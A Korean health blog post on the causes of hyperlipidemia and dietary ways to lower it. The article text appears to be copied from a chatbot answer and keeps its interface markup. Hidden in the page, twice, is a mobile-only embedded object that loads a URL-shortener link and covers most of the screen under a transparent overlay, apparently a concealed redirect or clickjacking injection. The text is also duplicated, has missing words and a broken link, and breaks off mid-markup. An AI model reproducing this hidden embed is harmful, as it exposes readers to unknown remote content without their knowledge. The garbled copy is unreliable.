고지혈증 원인 식이요법 실천과 함께 낮추는 요령

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">고지혈증, 식이요법으로 건강하게 관리하세요!</h2><p data-sourcepos="3:1-3:121">고지혈증은 현대인에게 흔한 질환 중 하나입니다. 혈액 속에 지방 성분이 과다하게 축적되어 동맥경화, 심근경색 등 심각한 합병증을 유발할 수 있습니다. 다행히, 식이요법을 통해 고지혈증을 효과적으로 관리할 수 있습니다.</p><h3 data-sourcepos="5:1-5:15">고지혈증의 주요 원인</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:54"><strong>불균형한 식습관:</strong> 포화지방과 트랜스지방이 많은 음식, 콜레스테롤이 높은 음식 과다 섭취</li> <li data-sourcepos="8:1-8:48"><strong>비만:</strong> 과체중이나 비만은 혈중 지질 수치를 높이는 주요 원인 중 하나입니다.</li> <li data-sourcepos="9:1-9:43"><strong>유전적 요인:</strong> 가족력이 있는 경우 고지혈증에 걸릴 위험이 높습니다.</li> <li data-sourcepos="10:1-11:0"><strong>생활습관:</strong> 흡연, 음주, 스트레스 등</li> </ul><h3 data-sourcepos="12:1-12:17">고지혈증에 좋은 식이요법</h3><ul data-sourcepos="14:1-25:0"> <li data-sourcepos="14:1-17:17"><strong>불포화지방산 섭취:</strong> 등푸른 생선(고등어, 연어 등), 견과류, 올리브 오일 등에 풍부한 불포화지방산은 혈중 중성지방을 낮추고 HDL 콜레스테롤을 높이는 효과가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRx0Vm1ek-nbk0VFjESHHr3uJYDKF0kln9NOlGTtqsQO8s56U35uM_j9C0Q1Zqu"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%98%AC%EB%A6%AC%EB%B8%8C%EC%9C%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="올리브 오일 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTOuJT2iiQluuQsbipEYwT39-MYH1u7UqkJy7JmoCgar30NywV5osPPlzAMBb0j"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%98%AC%EB%A6%AC%EB%B8%8C%EC%9C%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 올리브 오일 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></li> <li data-sourcepos="18:1-21:14"><strong>섬유질 섭취:</strong> 채소, 과일, 통곡물 등에 풍부한 섬유질은 콜레스테롤 흡수를 억제하고 배설을 촉진합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://tonggogmool..com/65"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="통곡물 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTSGWkJPBYhM1K2-bkrek1oLpo8Oq0Fb1Mqm6LbynH302o2TRgRilULBrg2FHYP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://tonggogmool..com/65" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSWOzK3RTis_JJdwbbMETY3w-EzoMxqM_gcEM_PVfFWsnX4NCiFp0veOq3UcdT1mAJUzPMQntortmGzH3SCy3_wWYNL8gqu5m-rFnl3tAqmwL4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">tonggogmool..com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 통곡물 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%B1%84%EC%86%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="채소 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQEEFqnhh8N8QSBgbe87VdfVp2mwyEX1uLObSMW--pI8gdIS1eQqjeTEo0ybX5V"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%B1%84%EC%86%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 채소 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B3%BC%EC%9D%BC"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="과일 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQeEAHZ62ctDCi1abMNBTHmgr8BcqEZpgGEEvfmtkANQ7nhTJ76r55t32KopEsP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B3%BC%EC%9D%BC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bcbe4a82d5191a4b&quot;,&quot;c_d475093c88d92f40&quot;,null,&quot;rc_360ede5a0b4fb28a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 과일 </div></div></single-image></response-element></div></li> <li data-sourcepos="22:1-22:95"><strong>나트륨 섭취 줄이기:</strong> 짠 음식은 혈압을 높이고 고지혈증을 악화시킬 수 있습니다. 가공식품 섭취를 줄이고, 음식을 조리할 때 소금 사용량을 줄이는 것이 좋습니다.</li> <li data-sourcepos="23:1-23:79"><strong>정제된 탄수화물 섭취 줄이기:</strong> 흰 쌀밥, 빵, 과자 등 정제된 탄수화물은 혈당을 빠르게 상승시켜 중성지방 수치를 높일 수 있습니다.</li> <li data-sourcepos="24:1-25:0"><strong>알코올 섭취 줄이기:</strong> 과도한 음주는 간에서 지방 합성을 증가시켜 고지혈증을 악화시킬 수 있습니다.</li> </ul><h3 data-sourcepos="26:1-26:20">고지혈증 낮추는 추가적인 요령</h3><ul data-sourcepos="28:1-32:0"> <li data-sourcepos="28:1-28:63"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하면 체중 감량과 혈중 지질 수치 개선에 도움이 됩니다.</li> <li data-sourcepos="29:1-29:49"><strong>금연:</strong> 흡연은 혈관을 수축시켜 동맥경화를 악화시키므로 반드시 금연해야 합니다.</li> <li data-sourcepos="30:1-30:66"><strong>스트레스 관리:</strong> 스트레스는 혈압을 상승시키고 혈중 지질 수치를 높일 수 있으므로 스트레스 관리가 중요합니다.</li> <li data-sourcepos="31:1-32:0"><strong>정기적인 건강검진:</strong> 꾸준히 건강검진을 받아 고지혈증을 조기에 발견하고 관리해야 합니다.</li> </ul><p data-sourcepos="33:1-33:110"><strong>주의:</strong> 고지혈증은 개인의 건강 상태에 따라 치료 방법이 달라질 수 있습니다. 식이요법 외에도 약물 치료가 필요한 경우도 있으므로 반드시 전문가와 상담하여 적절한 치료를 받는 것이 중요합니다.</p><p data-sourcepos="35:1-35:45"><strong>자신에게 맞는 식단과 생활습관을 개선하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="37:1-37:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><hr data-sourcepos="39:1-39:3"><p data-sourcepos="40:1-40:63"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 직접 검색하여 확인해보시기 바랍니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">고지혈증, 식이요법으로 건강하게 관리하세요!</h2><p data-sourcepos="3:1-3:121">고지혈증은 현대인에게 흔한 질환 중 하나입니다. 혈액 속에 지방 성분이 과다하게 축적되어 동맥경화, 심근경색 등 심각한 합병증을 유발할 수 있습니다. 다행히, 식이요법을 통해 고지혈증을 효과적으로 관리할 수 있습니다.</p><h3 data-sourcepos="5:1-5:15">고지혈증의 주요 원인</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:54"><strong>불균형한 식습관:</strong> 포화지방과 트랜스지방이 많은 음식, 콜레스테롤이 높은 음식 과다 섭취</li> <li data-sourcepos="8:1-8:48"><strong>비만:</strong> 과체중이나 비만은 혈중 지질 수치를 높이는 주요 원인 중 하나입니다.</li> <li data-sourcepos="9:1-9:43"><strong>유전적 요인:</strong> 가족력이 있는 경우 고지혈증에 걸릴 위험이 높습니다.</li> <li data-sourcepos="10:1-11:0"><strong>생활습관:</strong> 흡연, 음주, 스트레스 등</li> </ul><h3 data-sourcepos="12:1-12:17">고지혈증에 좋은 식이요법</h3><ul data-sourcepos="14:1-25:0"> <li data-sourcepos="14:1-17:17"><strong>불포화지방산 섭취:</strong> 등푸른 생선(고등어, 연어 등), 견과류, 올리브 오일 등에 풍부한 불포화지방산은 혈중 중성지방을 낮추고 HDL 콜레스테롤을 높이는 효과가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRx0Vm1ek-nbk0VFjESHHr3uJYDKF0kln9NOlGTtqsQO8s56U35uM_j9C0Q1Zqu"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%98%AC%EB%A6%AC%EB%B8%8C%EC%9C%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="올리브 오일 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTOuJT2iiQluuQsbipEYwT39-MYH1u7UqkJy7JmoCgar30NywV5osPPlzAMBb0j"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%98%AC%EB%A6%AC%EB%B8%8C%EC%9C%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 올리브 오일 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></li> <li data-sourcepos="18:1-21:14"><strong>섬유질 섭취:</strong> 채소, 과일, 통곡물 등에 풍부한 섬유질은 콜레스테롤 흡수를 억제하고 배설을 촉진합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://tonggogmool..com/65"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="통곡물 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTSGWkJPBYhM1K2-bkrek1oLpo8Oq0Fb1Mqm6LbynH302o2TRgRilULBrg2FHYP"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://tonggogmool..com/65" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bcbe4a82d5191a4b","c_d475093c88d92f40",null,"rc_360ede5a0b4fb28a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSWOzK3RTis_JJdwbbMETY3w-EzoMxqM_gcEM_PVfFWsnX4NCiFp0veOq3UcdT1mAJUzPMQntortmGzH3SCy3_wWYNL8gqu5m-rFnl3tAqmwL4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">tonggogmool..com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 통곡물 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image 